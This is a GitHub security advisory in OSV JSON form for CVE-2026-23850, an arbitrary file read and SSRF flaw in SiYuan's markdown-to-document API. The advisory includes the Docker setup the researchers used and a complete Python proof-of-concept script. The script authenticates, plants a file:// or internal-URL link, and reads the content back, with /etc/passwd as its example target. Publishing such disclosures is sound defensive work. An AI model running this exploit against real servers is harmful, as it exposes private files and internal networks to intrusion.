{"schema_version":"1.9.0","id":"GHSA-cv54-7wv7-qxcw","published":"2026-01-21T01:02:00Z","modified":"2026-02-03T22:40:58.962376Z","aliases":["CVE-2026-23850","GO-2026-4347"],"summary":"SiYuan vulnerable to Arbitrary file Read / SSRF","details":"### Summary\nMarkdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access\nWe in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way :  )\n\nPlease note that we used the latest Version and deployed it via this dockerfile : \n\nDockerfile:\n```\nFROM b3log/siyuan\n\nENV TZ=America/New_York \\\n    PUID=1000 \\\n    PGID=1000 \\\n    SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword\n    \nRUN mkdir -p /siyuan/workspace\n\nCOPY ./startup.sh /opt/siyuan/startup.sh\nRUN chmod +x /opt/siyuan/startup.sh\n\nEXPOSE 6806\n\nENTRYPOINT [\"sh\", \"-c\", \"/opt/siyuan/startup.sh\"]\n```\n\nstartup.sh\n```sh\n#!/bin/sh\nset -e\necho \"nullctf{secret}\" > \"/flag_random.txt\"\nexec ./entrypoint.sh\n\n```\ndocker-compose.yaml:\n\n```yaml\nservices:\n  main:\n    build: .\n    ports:\n      - 6806:6806\n    restart: unless-stopped\n    environment:\n      - TZ=America/New_York\n      - PUID=1000\n      - PGID=1000\n    container_name: archivists_whisper\n```\n### Details\nAs you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886\nin `createDocWithMd` function\nthe `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization \nwhile here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)`  without any sanitization too\n\n### PoC\nHere is a full Python POC ready to run \n```py\nimport requests, sys, os\n\nif len(sys.argv) >= 5 :\n    TARGET = sys.argv[1].rstrip(\"/\")\n    PASSWORD = sys.argv[2]\n    attack_type = sys.argv[3]\n    if attack_type == \"LFD\":\n        file_path = f\"file://{sys.argv[4]}\"\n    elif attack_type == \"SSRF\":\n        file_path = f\"{sys.argv[4]}\"\nelse:\n    sys.exit(f\"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link\")\n    TARGET = \"http://127.0.0.1:6806\"\n    PASSWORD = \"SuperSecretPassword\" # Workgroup password\n    file_path = \"/etc/passwd\" # file to read\n\ns  = requests.Session()\n\ndef login():\n    s.post(f\"{TARGET}/api/system/loginAuth\", json={\"authCode\": PASSWORD, \"rememberMe\": True})\n\n\ndef list_notebooks():\n    res = s.post(f\"{TARGET}/api/notebook/lsNotebooks\").json()\n    notebooks = res[\"data\"][\"notebooks\"]\n    if not notebooks:\n        raise RuntimeError(\"No notebooks found – create one in the UI first\")\n    notebook = notebooks[0][\"id\"]\n    return notebook\n\ndef file_to_md(notebook, file_path):\n    doc_id = s.post(\n    f\"{TARGET}/api/filetree/createDocWithMd\",\n    json={\n        \"notebook\": notebook,\n        \"path\": \"/pwn\",\n        \"markdown\": f\"[loot]({file_path})\"\n    },\n    ).json()[\"data\"]\n    return doc_id\n\ndef convert_file_to_asset(doc_id):\n    res = s.post(f\"{TARGET}/api/format/netAssets2LocalAssets\", json={\"id\": doc_id})\n    # print(f\"Debug : convert\", res.text)\n\ndef get_new_file_name_from_assets(file_path):\n    res = s.post(f\"{TARGET}/api/file/readDir\", json={\"path\": \"/data/assets\"}).json()[\"data\"]\n    if attack_type == \"LFD\":\n        new_file_name = f\"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-\"\n    else:\n        new_file_name = f\"network-asset-{os.path.basename(file_path)}-\"\n    # print(new_file_name)\n    for file in res:\n        # print(file[\"name\"])\n        if new_file_name in file[\"name\"]:\n            return file[\"name\"]\n            \n\ndef retrieve_file_content(file_name):\n    return s.get(f\"{TARGET}/assets/{file_name}\").text\n\n\nlogin()\nnotebook = list_notebooks()\ndoc_id = file_to_md(notebook, file_path)\n# print(f\"Debug : Docid\", doc_id)\nconvert_file_to_asset(doc_id)\nfile_name = get_new_file_name_from_assets(file_path)\nfile_content = retrieve_file_content(file_name)\nif len(file_content) > 0 :\n    print(\"Content : \", file_content)\nelse:\n    print(f\"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name\")\n```\n\n### File read\n<img width=\"928\" height=\"333\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb\" />\n<img width=\"800\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a\" />\n\n### SSRF : \nWe spawned a python server at /tmp  : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy\n\n<img width=\"822\" height=\"63\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf\" />\n\n\n### Impact\nAs shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )\n\n### Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260118092326-b2274baba2e1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-cv54-7wv7-qxcw/GHSA-cv54-7wv7-qxcw.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23850"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/issues/16860"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-01-21T01:02:00Z","nvd_published_at":"2026-01-19T20:15:49Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}